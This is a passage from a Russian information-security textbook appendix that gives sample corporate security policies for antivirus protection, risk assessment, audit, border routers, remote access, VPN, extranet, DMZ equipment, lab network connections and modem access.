2. Применение. Данная политика применяется для всех компьютеров Организации, представляющих собой персональные компьютеры (ПК) или участвующих в совместном использование файлов ПК. Это включает, но не ограничивается только настольными компьютерами, ноутбуками, серверами file/ftp/tftp/proxy и любыми устройствами на основе ПК, генерирующими трафик.
3. Основные положения. Настоящий документ определяет систему мер, предпринимаемых отделом информационных технологий, направленных на защиту компьютеров, входящих в состав интранета организации от компьютерных вирусов, "троянских" программ и прочих деструктивных программных кодов, а также устанавливает требования к конфигурации комплексной системы антивирусной защиты интранета и мероприятия, обеспечивающие поддержание этой системы в работоспособном состоянии. Антивирусная политика также определяет структуру и компоненты комплексной системы антивирусной защиты корпоративной сети, распределение административных ролей по управлению системой антивирусной зашиты и соответствующие полномочия администраторов антивирусной защиты.
Все компьютеры Организации на основе ПК должны иметь стандартное, поддерживаемое Организацией антивирусное ПО, установленное и проводящее проверку по расписанию с заданным интервалом. Само ПО и энциклопедия обнаруживаемых вирусов должны поддерживаться в актуальном состоянии. Зараженные вирусами компьютеры должны отключаться от интранета до уничтожения вирусов. Системные администраторы являются ответственными за разработку процедур, согласно которым антивирусное ПО работает на постоянной основе и все компьютеры проверяются на отсутствие вирусов. В соответствии с политикой принятого использования все действия по созданию и/или распространению деструктивных программ в интранете Организации (например, вирусов, червей, "троянских коней", почтовых бомб и т. п.) запрещены.
500
Информационная безопасность открытых систем
Пользуйтесь следующими рекомендациями для предотвращения заражения вирусами:
	Всегда применяйте только стандартное корпоративное ПО, обновляемое через корпоративный узел. Используйте последнюю версию ПО. Обновляйте ПО по мере выпуска для него новых версий.
	Никогда не открывайте файлы или макросы, присоединенные к почтовым сообщениям, пришедшим от неизвестных отправителей. Немедленно уничтожьте эти вложения и очистите корзину почтовых сообщений.
	Уничтожайте спэм и другую бесполезную почту без ее пересылки по другим адресам в интранете Организации в соответствии с принятой политикой допустимого использования электронной почты.
	Никогда не загружайте файлы с неизвестных и непроверенных источников.
	Избегайте прямого совместного использования дисков с доступом на чте-ние/запись не особой надобности.
	Всегда сканируйте дискеты/диски, не являющиеся вашими собственными, на отсутствие вирусов перед их использованием.
	Регулярно делайте резервные копии важной информации (незаменимой и необходимой для деятельности организации информация, ошибочное изменение или подделка которой приносит большой ущерб, а восстановление после уничтожения невозможно либо очень трудоемко и связано с большими затратами) и системных настроек и храните данные в защищенном месте.
	Если используемое в работе бизнес-приложение конфликтует с антивирусным ПО, завершите его работу, убедитесь, что компьютер не заражен, запустив антивирус, временно заблокируйте работу антивируса и снова запустите бизнес-приложение. После окончания его работы, разблокируйте антивирус. Пока антивирус не работает, не запускайте приложения, которые могут передавать вирусы, например, электронную почту или совместное использование файлов.
	Новые вирусы обнаруживаются практически каждый день. Регулярно пересматривайте антивирусную политику и данные рекомендации.
Также определяются структура и состав средств антивирусной защиты, требования к конфигурации этих средств, контроль их функционирования.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	История пересмотра политики.
П-4.5. Политика оценки рисков
I.	Цель - уполномочить соответствующих лиц периодически выполнять оценку рисков информационной безопасности с целью определения уязвимостей и их последующего устранения.
2.	Применение. Оценка рисков может проводиться любым уполномоченным лицом в пределах Организации или любым внешним уполномоченным лицом, которое подписало соглашение с третьими лицами Организации. Оценка рисков может проводиться для любой ИС, включая приложения, серверы, сети, а также любой процесс или процедуру, с помощью которого эта система управляется и/или поддерживается.
Приложение 4. Примеры политик безопасности
501
3.	Основные положения. За разработку, развитие и реализацию программ устранения обнаруженных уязвимостей несут совместную ответственность уполномоченные лица и отдел-владелец оцениваемой системы. Ожидается, что служащие будут помогать оценке рисков, проводимой для систем, за которые они ответственны. Также ожидается, что служащие будут работать с уполномоченной группой оценки рисков по развитию плана устранения уязвимостей.
4.	Процесс оценки рисков. Дается описание процесса или приводится ссылка на источник информации, содержащий такое описание.
5.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
6.	Определение. Уполномоченное лицо - любой служащий, отдел, группа лиц или третье лицо, внутри или вне Организации, ответственное за поддержание активов Организации.
7.	История пересмотра политики.
П-4.6. Политика аудита
1.	Цель - создать основу для проведения аудита зашиты любой системы Организации уполномоченными лицами. Цели проведения аудита:
	обеспечить целостность, конфиденциальность и доступность информации и ресурсов;
	обнаружить возможные проблемы с защитой и несоответствия политики безопасности Организации;
	провести при необходимости мониторинг активности пользователей или систем.
2.	Применение. Эта политика распространяется на все компьютеры и средства связи, которыми владеет или пользуется Организация, а также на те, которые размещаются на ее территории, но не являются ее собственностью или не используются ею.
3.	Основные положения. Настоящая политика определяет:
	нормативную базу для деятельности внутренних и внешних аудиторов;
	полномочия внешних и внутренних аудиторов;
	ответственность аудиторов за обеспечение ИБ и нормального режима функционирования информационных систем Организации;
	порядок и условия проведения аудита ИБ и анализа рисков.
При запросе или с целью проведения планового аудита всем уполномоченным лицам должен быть предоставлен в Организации требуемый доступ. Он может включать:
	пользовательский и/или системный доступ к любому средству связи;
	доступ к информации (электронной, бумажной и т. п.), которая порождается, передается или хранится на оборудовании Организации или на ее территории;
	доступ в рабочие помещения (лаборатории, офисы, хранилища и т. п.);
	доступ для интерактивного мониторинга и контроля трафика в интранете Организации.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	История пересмотра политики.
502
Информационная безопасность открытых систем
П-4.7. Политика для пограничных маршрутизаторов
1.	Цель - определить минимальные требования по защищенному конфигурированию всех пограничных маршрутизаторов и коммутаторов, соединенных с интранетом или используемых в производственных целях самой Организацией или от ее имени.
2.	Применение. Политика распространяется на все пограничные маршрутизаторы и коммутаторы, соединенные с интранетом Организации. На маршрутизаторы и коммутаторы внутри интранета политика не распространяется. Для маршрутизаторов и коммутаторов внутри демилитаризованной зоны (ДМ3) применяется политика для оборудования ДМ3.
3.	Основные положения. Конфигурация каждого маршрутизатора должна соответствовать следующим стандартам:
	На маршрутизаторе не должно быть сконфигурировано никаких локальных учетных записей. Для аутентификации всех пользователей должен использоваться протокол TACACS+ или RADIUS (в зависимости от требуемого функционала).
	Пароль на вход в привилегированный режим маршрутизатора должен храниться в зашифрованном виде. В качестве пароля привилегированный режим маршрутизатора должен использоваться текущий пароль, выданный организацией, осуществляющей под держку маршрутизатора.
	Запретить следующее:
	направленный широковещательный IP-трафик (IP directed broadcasts);
•	входящие на маршрутизатор пакеты, направленные с ложных адресов, например, перечисленных в RFC 1918;
	TCP и UDP small services;
•	все типы маршрутизации от источника;
•	все веб-сервисы, запущенные на маршрутизаторе.
	Использовать стандартные для организации "SNMP community strings".
	Правила доступа должны добавляться по мере необходимости.
	Маршрутизатор должен быть включен в корпоративную систему управления с заранее определенным контактным лицом.
	На каждом маршрутизаторе должна присутствовать надпись: "Несанкционированный доступ к данному сетевому оборудованию запрещен. На доступ и конфигурирования устройства необходимо соответствующее разрешение. Все действия, выполняемые на этом устройстве, регистрируются. Нарушение данной политики повлечет за собой дисциплинарные взыскания или даже преследования в соответствии с законом. Никто не имеет права на сохранность информации, вводимой в сеансе удаленного доступа к данному устройству."
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	История пересмотра политики.
П-4.8. ПОЛИТИКА УДАЛЕННОГО ДОСТУПА
1.	Цель - определить стандарты подключения к интранету Организации любого хоста. Они предназначены для минимизации потенциального ущерба Организации от угроз, которые может создать несанкционированное использование ресурсов Организации. Это включает угрозы потери конфиденциальности данных, интеллектуальной собственности, имиджу, важным внутренним системам Организации и т. п.
Приложение 4. Примеры политик безопасности
503
2.	Применение. Политика применяется ко всем служащим, контрактным рабочим, поставщикам и агентам, имеющим собственные или предоставленные Организацией компьютеры или рабочие станции, подключенные к интранету Организации. Политика применяется к удаленным соединениям, используемым для выполнения работы по заказу Организации, включая чтение и отправку электронной почты и просмотр веб-ресурсов интранета.
3.	Основные положения.
3.1.	Общие основные положения.
	Служащие, контрактные рабочие, поставщики и агенты Организации, имеющие привилегии удаленного доступа (УД) к ее интранету, должны гарантировать, что их удаленное соединение является локальным соединением пользователя с Организацией.
•	Доступ с персональных компьютеров к Интернету в личных целях всеми членами семьи через интранет Организации запрещен для служащих, платящих за наем жилья. Они несут ответственность за то, чтобы члены их семьи не нарушали политики Организации, не предпринимали никаких противоправных действий и не использовали доступ ни в каких других целях, кроме рабочих. Также они несут полную ответственность за всю последовательность действий, повлекшую злоупотребление доступом.
	Применяются все политики, регламентирующие защиту информации при доступе к интранету посредством удаленных подключений (например, политика шифрования, политика построения виртуальных частных сетей, политика беспроводного доступа), а также политика допустимого использования ресурсов интранета Организации.
3.2.	Требования..
	Защищенный УД должен тщательно контролироваться. Контроль осуществляется посредством аутентификации на основе одноразовых паролей или откры-тых/личных ключей с сильными парольными фразами (см. политику в отношении паролей).
	Служащий Организации не должен сообщать свой идентификатор и почтовый пароль никогда и никому, даже членам семьи.
•	Служащие и контрактные рабочие Организации, имеющие привилегированный УД, должны гарантировать, что имеющиеся у них собственные или предоставленные им Организацией компьютер/рабочая станция, удаленно подключенные к интранету Организации, в то же время не соединены ни с какой другой сетью, за исключением персональных сетей, находящихся под полным контролем пользователя.
	Для выполнения своей работы в интересах Организации служащие и контрактные рабочие, имеющие привилегированный УД, не должны использовать почтовые ящики, не принадлежащие Организации (например, Hotmail, Yahoo, AOL), или другие внешние ресурсы, тем самым гарантируя, что личный бизнес не смешивается с официальной работой.
	Маршрутизаторы для выделенных каналов связи (например, ISDN), сконфигурированные для доступа к интранету Организации, должны соответствовать минимальным требованиям аутентификации принятого протокола (например, CHAP).
504
Информационная безопасность открытых систем
	Никогда не разрешается реконфигурация домашнего оборудования пользователя с целью его одновременного подключения к множественным каналам связи, включая виртуальные.
	На конфигурирование нестандартного аппаратного обеспечения для УД требуется разрешение соответствующих служб Организации, которые должны утвердить защищенные настройки для доступа к этому обеспечению.
	Все хосты, включая ПК, соединенные с внешними по отношению к интранету Организации сетями с применением технологий УД, должны использовать самое современное антивирусное ПО. Подключения третьих лиц должны соответствовать требованиям, зафиксированным в подписанном с ними соглашении.
	Личное оборудование, используемое для подключения к интранету Организации, должно соответствовать требованиям для оборудования УД, принадлежащего Организации.
	Организации или частные лица, которые хотят использовать нестандартные решения для УД к интранету Организации, должны получить особое разрешение от соответствующих служб Организации.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. Под УД к ресурсам интранета Организации понимаются все виды доступа, осуществляемые по внешним каналам связи (через контролируемые сети или устройства) и с использованием устройств доступа, расположенных за пределами охраняемой зоны и не контролируемых Организацией.
Основными видами УД являются:
	доступ к интранету по коммутируемым каналам связи с использованием модемов и телефонной сети, который предоставляется сотрудникам Организации, находящимся в отпуске, в командировке или в деловых поездках, а также представителям партнеров, проводящим работы в интранете/экстранете Организации;
	доступ мобильных пользователей к интранету с использованием VPN-каналов связи типа "компьютер-сеть” через Интернет, предоставляемый сотрудникам Организации, находящимся в отпуске, в командировке или в деловых поездках, а также представителям партнеров, проводящим работы в интранете/экстранете Организации;
	подключения удаленных подразделений Организации к интранету с использованием VPN-каналов типа "сеть-сеть" через Интернет.
Реализации удаленного доступа, рассматриваемые в данной политике, включают, но не ограничиваются, модемами, frame relay, ISDN, DSL, VPN, SSH и т. п.
CHAP (Challenge Handshake Authentication Protocol) - основанный на однонаправленной хеш-функции протокол, используемый для аутентификации.
6.	История пересмотра политики.
П-4.9. Политика построения виртуальных частных сетей
1.	Цель - определить руководящие принципы для VPN-соединений с интранетом Организации с применением УД на основе протоколов IPSec или L2TP.
2.	Применение. Политика применяется ко всем служащим, временным рабочим, консультантам, внештатным сотрудникам и другим работникам Организации, включая всех третьих лиц, использующих VPN-доступ к интранету Организации. Данная
Приложение 4. Примеры политик безопасности
505
политика распространяется на те реализации VPN, в которых используются концентраторы IPSec.
3.	Основные положения. Имеющие на это разрешение служащие и третьи лица Организации (например, клиенты, поставщики и т. п.) могут пользоваться VPN-доступом, который считается сервисом, "управляемым пользователем". Это означает, что сам пользователь отвечает за выбор сервис-провайдера Интернета (Internet Service Provider, ISP), руководит настройкой, устанавливает требуемое ПО и платит арендную плату (детали изложены в политике УД). Дополнительно к этому:
	служащий, имеющий разрешение на VPN-доступ, должен гарантировать, что неуполномоченные пользователи не получают доступа к интранету Организации;
	использование VPN контролируется либо на основе аутентификации с одноразовыми паролями (типа токенов) или системами с открытым/личным ключом с сильными парольными фразами;
	при активном подключении к интранету виртуальные сети направляют весь трафик от и к ПК по VPN-туннелю; весь остальной трафик отбрасывается;
	одновременное соединение с несколькими сетями не разрешается;
	VPN-шлюзы устанавливаются и управляются соответствующей рабочей группой Организации;
	на всех компьютерах, включая ПК, соединенных с интранетом Организации посредством VPN или любой другой технологии, должно быть установлено стандартное для Организации современное антивирусное ПО;
	пользователь VPN будет автоматически отключаться от интранета Организации после 30 мин неактивности; после этого пользователь должен снова войти в систему для восстановления подключения; пингование (pings) или другие искусственные сетевые процессы не должны использоваться для поддержания соединения в открытом состоянии;
	время работы VPN-концентратора ограничивается 24 ч соединения;
	пользователи компьютеров, не являющихся оборудованием Организации, должны сконфигурировать их таким образом, чтобы они соответствовали политикам Организации для виртуальных частных сетей и интранета;
	можно использовать только разрешенные Организацией VPN-клиенты;
	при использовании VPN-технологии на персональном оборудовании пользователи должны осознавать, что их компьютеры являются фактически расширением интранета Организации, и поэтому они подчиняются тем же правилам и положениям, которые применяются к собственному оборудованию Организации.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. Концентратор IPSec — это устройство, в котором заканчиваются виртуальные каналы.
6.	История пересмотра политики.
П-4.10. Политика для экстранета
1.	Цель — определить политику соединения с интранетом Организации третьих лиц для осуществления бизнеса в интересах Организации.
2.	Применение. Политика регламентирует соединения между третьими лицами, которые требуют доступа к непредназначенным для широкого доступа ресурсам Ор
18—2368
506
Информационная безопасность открытых систем
ганизации, независимо от того, какой вид соединений применяется - телекоммуникационный (типа Frame Relay или ISDN) или VPN-технология. Политика не распространяется на третьих лиц типа сервис-провайдеров Интернета (ISP), обеспечивающих доступ Организации к Интернету или к телефонным сетям общего пользования (Public Switched Telephone Network).
3.	Основные положения.
3.1.	Предварительные условия.
3.1.1.	Рассмотрение запросов для экстранет-подключения. Все запросы на новые соединения с экстранетом должны быть тщательно рассмотрены департаментом ИБ, о чем выдается соответствующее заключение. Это гарантирует то, что они не противоречат требованиям бизнеса и соблюдается принцип минимального доступа.
3.1.2.	Соглашение о соединении с третьими лицами. Все запросы на подключение между третьими лицами и Организацией требуют, чтобы представители третьих лиц и Организации были уполномочены и готовы подписать соответствующее соглашение. Это соглашение должно быть подписано замруководителя спонсорского подразделения и уполномоченным представителем третьих лиц. Подписанный документ должен храниться в группе поддержки экстранета и в том подразделении, к чьим ресурсам подключаются третьи лица.
3.1.3.	Вступление в действие. Все подключения к экстранету для ведения бизнеса должны сопровождаться соответствующим обоснованием в письменном виде, утвержденным руководителем проекта в группе поддержки экстранету. Подключения к конкретным ресурсам Организации должны быть одобрены владельцами этих ресурсов и их администраторами безопасности.
3.1.4.	Контактные лица. Спонсорское подразделение должно выделить сотрудника, который будет являться контактным лицом по всем вопросам экстранет-подключения. Это лицо действует от имени спонсорского подразделения и несет ответственность за все пункты, имеющие отношение к политике и соглашению. В случае смены контактного лица требуется немедленно известить об этом группу поддержки экстранета.
3.2.	Установление соединения. Спонсорское подразделение внутри Организации, в интересах которого устанавливается подключение к третьим лицам, обращается с запросом к соответствующей группе поддержки экстранета. Эта группа привлекает департамент ИБ для рассмотрения вопросов, связанным с ИБ в проекте. Если запрашиваемое подключение заканчивается в спонсорском подразделении, она должна привлечь своего администратора безопасности. Спонсорское подразделение должно предоставить департаменту ИБ и группе поддержки экстранета для рассмотрения полную и исчерпывающую информацию о виде запрашиваемого доступа.
В соответствии с утвержденными бизнес-требованиями и заключением о безопасности все устанавливаемые подключения должны удовлетворять принципу минимального доступа. Ни при каких обстоятельствах Организация не может положиться на третьих лиц в отношении защиты своих ресурсов и интранета.
3.3.	Модификация или изменения соединения и доступа. Все изменения доступа должны сопровождаться соответствующим обоснованием и являться предметом рассмотрения для выдачи заключения о безопасности. Изменения осуществляются в соответствии с утвержденным Организацией процессом управления изменениями. Спонсорское подразделение несет ответственность за уведомление группы управле
Приложение 4 Примеры политик безопасности
507
ния экстранетом и/или департамента ИБ об изменении первоначально предоставленной информации, что позволит своевременно сохранить защищенность и само подключение.
3.4.	Прекращение доступа. Когда доступ более не требуется, спонсорское подразделение внутри Организации должно уведомить группу поддержки экстранета, осуществляющую подключение. Она ликвидирует подключение. Это может означать либо модификацию существующих разрешений, либо полное прекращение доступа. Группа поддержки экстранета и спонсорское подразделение должны ежегодно проводить аудит своих экстранет-подключений, что гарантирует актуальность существующих соединений и соответствие им предоставляемого доступа. Обнаруженные ненужные или давно неиспользуемые для бизнеса Организации соединения должны немедленно быть отключены. О таких случаях и о случаях нарушения безопасности департамент ИБ или группа поддержки экстранета должны информировать контактное лицо или спонсорское подразделение с целью принятия ими соответствующих мер.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. Третьи лица — люди или организации, не являющиеся официальными или вспомогательными частями Организации. Спонсорское подразделение -подразделение внутри Организации, предоставившее запрос на экстранет-подключение третьих лиц.
6.	История пересмотра политики.
П-4.11. Политика для оборудования пограничной ДЕМИЛИТАРИЗОВАННОЙ ЗОНЫ
1.	Цель - определить стандарты, которым должны отвечать все собственное и/или используемое Организацией оборудование, находящееся за пределами межсетевого экрана (МЭ), отделяющего внутренний интранет Организации от внешних по отношению к нему сетей. Эти стандарты предназначены для снижения потенциального ущерба Организации от потери важной или конфиденциальной информации, интеллектуальной собственности или ее имиджа, что может явиться следствием несанкционированного использования ресурсов Организации.
Объектом политики является оборудование, установленное на границе с другими сетями за МЭ Организации рассматривается как часть пограничной демилитаризованной зоны (ДМ3). Это оборудование (сетевое и хосты) является потенциально уязвимым к атакам, исходящим из внешних сетей (типа Интернета).
Политика определяет следующие стандарты:
	ответственность владельцев;
	требования защищенного конфигурирования;
	требования к работе;
	требования к изменению управления.
2.	Применение. Все оборудование или устройства, расположенные в ДМ3, являющиеся собственностью или используемые Организацией (включая хосты, маршрутизаторы, коммутаторы и т. п.) и/или зарегистрированные в принадлежащем ей домене (Domain Name System, DNS), должно соответствовать данной политике. Эта политика также распространяется на любой хост, которым управляет или владеет внешний сервис-провайдер или третье лицо, если это оборудование находится в домене Орга
508
Информационная безопасность открытых систем
низации или будет принадлежать ей. Все новое оборудование, которое подпадает под действие данной политики, должно быть сконфигурировано в соответствии с ее требования. Все существующее и позднее закупленное оборудование, размещаемое в недоверенных сетях Организации, должно также соответствовать данной политике.
3.	Основные положения.
3.1.	Владение и ответственность. Оборудование и приложения, являющиеся объектами данной политики, должны администрироваться группой поддержки, утвержденной департаментом ИБ для управления ДМ3, приложениями и/или сетями. Группа под держки несет ответственность за следующее:
	Оборудование должно быть зарегистрировано в корпоративной системе управления. Для этого как минимум требуется следующая информация:
	местонахождение хоста и контактное лицо;
•	аппаратная платформа и ОС с версией;
	основные функции и приложения;
•	парольные группы с привилегированными правами.
	Сетевые интерфейсы должны иметь соответствующие записи на сервере доменных имен (Domain Name Server) (минимально А- и PTR-записи).
	Парольные группы должны поддерживаться в соответствии с корпоративными системой/процессами управления паролями.
	Всем членам департамента ИБ по требованию (см. политику аудита) должен предоставляться немедленный доступ к оборудованию и системным журналам.
	Об изменениях в текущем оборудовании и появлении нового оборудования требуется немедленно уведомить соответствующих лиц с целью изменения корпоративных процессов/процедур управления.
Для проверки соблюдения данной политики департамент ИБ будет периодически проводить аудит оборудования ДМ3 (см. политику аудита).
3.2.	Общая политика конфигурирования. Все оборудование должно соответствовать следующей конфигурационной политике:
	АО, ОС, сервисы и приложения должны быть одобрены департаментом ИБ на этапе предварительного анализа.
	Настройки ОС должны соответствовать стандартам инсталляции и конфигурирования для защищенных хостов и маршрутизаторов (ссылка на стандарт);
	Все обновления, рекомендуемые производителями или департаментом ИБ, должны быть установлены. Это относится ко всем инсталлированным сервисам, даже если они временно или постоянно отключены. Административная группа должна проверять это.
	Сервисы и приложения, не удовлетворяющие требованиям бизнеса, должны быть отключены.
	Доверенные отношения между системами должны использоваться только по требованиям бизнеса, быть задокументированы и одобрены департаментом ИБ.
	Сервисы и приложения не для общего доступа должны быть внесены в соответствующие контрольные списки.
	Незащищенные сервисы или протоколы (по определению департамента ИБ) должны быть заменены на более защищенные аналоги, если таковые существуют.
	Удаленное администрирование должно осуществлять по защищенным каналам (например, шифрованным сетевым соединениям, использующим протоколы SSH
Приложение 4. Примеры политик безопасности
509
или IPSec) или через консольный доступ, независимый от ДМ3. Если средства защиты каналов не применимы, для всех уровней доступа должны использоваться одноразовые пароли.
	Все обновления контента (содержимого) хостов должны осуществляться по защищенным каналам.
	Все имеющие отношения к безопасности события должны регистрироваться и сохраняться в утвержденных департаментом ИБ журналах для последующего аудита. Эти события включают (но не ограничиваются) следующее:
•	попытку неудачного входа пользователя;
•	отказ в получении привилегированного доступа;
	нарушения политики доступа.
	Департамент ИБ рассматривает запросы на отказ в предоставлении доступа в порядке поступления и удовлетворяет их, если на то есть основания.
3.3.	Установка нового оборудования и изменение процедур управления. Все новые установки и изменения конфигурации существующего оборудования и приложений должны соответствовать следующим политике/процедурам:
	все новые установки должны осуществляться по разработанной процедуре размещения оборудования в ДМ3;
	изменения конфигурации должны соответствовать процедурам корпоративного управления изменениями;
	для осуществления аудита систем/приложений, заменяемых новыми сервисами, должен приглашаться департамент ИБ;
	в одобрении размещения нового оборудования и изменения каких-либо конфигураций департамент ИБ должен участвовать непосредственно или через систему управления изменениями.
3.4.	Оборудование, управляемое внешними сервис-провайдерами. Ответственность за защиту оборудования, устанавливаемого внешними сервис-провайдерами, должна быть оговорена в контракте с ник?и и контактными лицами, отвечающими за ИБ. Подписавшие контракт со стороны Организации несут ответственность за следование политике третьих лиц.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы. Внешние сервис-провайдеры, уличенные в несоблюдении данной политики, будут обязаны выплатить штрафы, вплоть до прерывания действия контракта.
5.	Определения. ДМ3 — любая недоверенная сеть, соединенная с интранетом Организации, но отделенная от нее МЭ, используемая для внешнего (Интер-нет/экстранет и т. п.) доступа из Организации или предоставляющая информацию внешним пользователям. Недоверенная сеть - любая сеть, отделенная от интранета МЭ с целью избежать повреждения ресурсов от незаконного сетевого трафика, НСД (сети партеров, Интернет и т. п.) или чего-то еще, идентифицируемого как потенциальная угроза для таких ресурсов.
6.	История пересмотра политики.
510
Информационная безопасность открытых систем
П-4.12. Политика подключения подразделений к интранету
\.Цель — определить требования ИБ для подразделений Организации, гарантирующие, что конфиденциальная информации и технологии не будут компрометированы и что сервисы и интересы Организации будут защищены от работы подразделений.
2.	Применение. Политика распространяется на все связанные внутри Организации подразделения, служащих Организации и третьих лиц, имеющих доступ к ее подразделениям. Все существующее оборудование и то, которое будет установлено в будущем, к которому применима данная политика, должно быть сконфигурировано в соответствии с ней. ДМ3 подчиняется отдельной политике.
3.	Основные положения.
3.1.	Владение и ответственность.
	Организация назначает администраторов подразделений - контактных лиц и представителей в администрации Организации, с которыми работают эти лица. В случае смены этих лиц руководители подразделений обязаны предоставлять новую информацию в департамент ИБ и администрации Организации. Администраторы подразделений и представители администрации должны быть постоянно на связи для информирования в случае необходимости, в противном случае решается вопрос об их обязанностях.
	Администраторы подразделений несут ответственность за защиту своих подразделений и их влияние на интранет или любые другие сети. Они несут ответственность за следование данной политике и установленным в соответствии с ней процедурам. Если что-то не определено в политике и процедурах,, они должны приложить все усилия для защиты Организации от уязвимостей.
	Администраторы подразделений несут ответственность за соответствие работы подразделения политики безопасности Организации. Особенно важно соблюдать политику в отношении паролей для сетевых устройств и хостов, политику беспроводного доступа, антивирусную политику и физическую безопасность.
	Администратор подразделения несет ответственность за контроль доступа в подразделении. Доступ к подразделению предоставляется его администратором или назначенным должностным лицом тем пользователям, которые имеют такую производственную необходимость на короткое или длительное время. Это подразумевает постоянный мониторинг списков доступа, что гарантирует своевременную отмену доступа для тех, кому он больше не нужен.
	Группа поддержки сети обязана осуществлять управление межсетевыми экранами между общей сетью Организации и сетями подразделений.
	Эта группа и/или департамент ИБ оставляет за собой право отключить подключение подразделения в случае его негативного воздействия на интранет или создания угрозы для ее ИБ.
	Эта группа должна иметь IP-адреса всех подразделений, входящих в интранет Организации, в единой корпоративной базе данных адресов, наряду с текущей контактной информацией подразделения.
	Любое подразделение, которому требуется внешнее подключение, должно предоставить департаменту ИБ схему и документацию с обоснованием причин, спецификацией оборудования и схемой IP-адресации. Департамент ИБ рассмотрит запрос и удовлетворит его, если не нарушаются требования ИБ Организации.
Приложение 4. Примеры политик безопасности
511
	Пароли всех пользователей должны соответствовать политике Организации в отношении паролей. В случае, когда учетная запись на оборудовании подразделения уже не требуется, она должна быть уничтожена в срок не позднее трех дней. Групповые пароли для компьютеров подразделения (Unix, Windows и т. п.) должны меняться каждые три месяца. Для любого устройства подразделения при изменении состава группы пароль должен быть изменен в срок не позднее трех дней.
	Ни одно подразделение не должно предоставлять эксплуатационных сервисов. Они определяются как ведущие и совместно используемые, критичные для бизнеса сервисы, генерирующие потоки поступлений или обеспечивающие работу клиентов. Они должны находиться в ведении соответствующего департамента.
	Департамент ИБ рассматривает запросы на отказ в предоставлении доступа в порядке поступления и удовлетворяет их, если на то есть основания.
3.2.	Общие конфигурационные требования.
	Трафик между общей сетью и сетями подразделений, а также между сетями отдельных подразделений, без необходимости не разрешен, поскольку это может поставить под угрозу их конфиденциальную информацию.
	Весь трафик между общей сетью и подразделением должен проходить через МЭ, которым управляет группа поддержки сети. Сетевые устройства подразделения (включая беспроводные) не должны иметь перекрестные ссылки между подразделением и общей сетью.
	Оригинальные настройки МЭ и любые изменения в них должны быть предварительно проанализированы и одобрены департаментом ИБ, который при необходимости может потребовать пересмотра требований безопасности.
	Департамент ИБ оставляет за собой право в любое время проводить аудит всей информации и административных процедур подразделения, включая, но не ограничиваясь, входящие и исходящие пакеты, МЭ и сетевую периферию.
	Подразделениям запрещается проводить сканирование портов, изучение сети, "наводнение" трафика и другие подобные действия, которые негативно влияют на интранет Организации и другие сети. Такие действия должны быть запрещены.
	Принадлежащие подразделению шлюзы должны соответствовать рекомендациям Организации и должны удостоверяться корпоративными серверами аутентификации.
	Пароль на вход в привилегированный режим для всех шлюзов подразделения должен отличаться от паролей для другого оборудования подразделения. Этот пароль должен соответствовать политике Организации в отношении паролей. Он дается только тем, кто уполномочен администрировать сеть подразделения.
	В подразделениях, где неперсонал Организации имеет физический доступ (например, в учебных классах), запрещается прямое подключение к общей сети Организации. Кроме этого, в таких подразделениях ни на каких компьютерах не должна находиться конфиденциальная информации Организации. Подключение уполномоченного персонала к общей сети из таких подразделений обязательно должно использовать аутентификацию через корпоративный сервер аутентификации, временные списки доступа, SSH, VPN-клиенты или подобные технологии, одобренные департаментом ИБ.
	Инфраструктурные устройства (типа IP-телефонов), которым требуется подключение к общей сети, должны соответствовать политике для закрытых территорий.
512
Информационная безопасность открытых систем
	Все запросы на внешние подключения подразделений должны быть рассмотрены и одобрены департаментом ИБ. Аналоговые и ISDN-каналы связи должны быть сконфигурированы только на доступ к доверенным номерам. Для аутентификации должны использоваться сильные пароли.
Все сети подразделений с внешними подключениями не должны соединяться с общей сетью Организации или любой другой внутренней сетью непосредственно, через беспроводной канал или на основе любого другого вида компьютерного оборудования. Когда этого требуется официальный отказ департамента ИБ (например, из-за партнерского подключения к сетям третьих лиц).
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. Внутреннее подразделение - подразделение внутри интранета Организации. Группа поддержки сети отвечает за те части общей сети Организации, которые не принадлежат ни одному подразделению. Подразделение - непроизводственное отделение Организации, занимающееся разработкой, демонстрацией, обучением и/или тестированием продуктов. Внешние подключения (известные как ДМ3) включают (но не ограничиваются) сетевые подключения третьих лиц, аналоговые и ISDN-каналы связи и любые другие телекоммуникационные (Т1/Е1, ТЗ/ЕЗ, ОСЗ, ОС12, DSL и т. п.) каналы передачи данных. Шлюзы подразделения составляют его собственность и соединяют сеть подразделения с остальным интранетом Организации (весь трафик должен проходит через эти шлюзы). МЭ - устройство, контролирующее доступ между сетями. ДМ3 - сеть, расположенная за основными корпоративными МЭ, но также находящаяся под административным контролем Организации.
6.	История пересмотра политики.
П-4.13. Политика подключения к интранету
С ПРИМЕНЕНИЕМ МОДЕМА
1.	Цель - защитить информацию Организации в электронном виде от непреднамеренной компрометации персоналом, имеющим разрешение на использование модемных подключений.
2.	Применение. Политика регламентирует разрешенный модемный доступ и его использование авторизированным персоналом.
3.	Основные положения. Служащие Организации и уполномоченные третьи лица (клиенты, поставщики и т. п.) могут использовать модемные подключения для получения доступа к ее интранету. Модемные подключения должны жестко контролироваться с применением аутентификации на основе одноразовых паролей. Запрос на модемное подключение должен осуществляться в соответствии с разработанной для этого процедурой.
Служащий, имеющий разрешение на модемное подключение, должен гарантировать, что это подключение не используется людьми, не являющимися сотрудниками Организации, с целью получения доступа к ресурсам ее информационных систем. Служащий должен постоянно помнить, что такое подключение является фактическим расширением интранета Организации и поэтому открывает возможный путь к ее конфиденциальной информации. Он и/или третьи лица должны принять все возможные меры по защите ресурсов Организации.
Приложение 4. Примеры политик безопасности
513
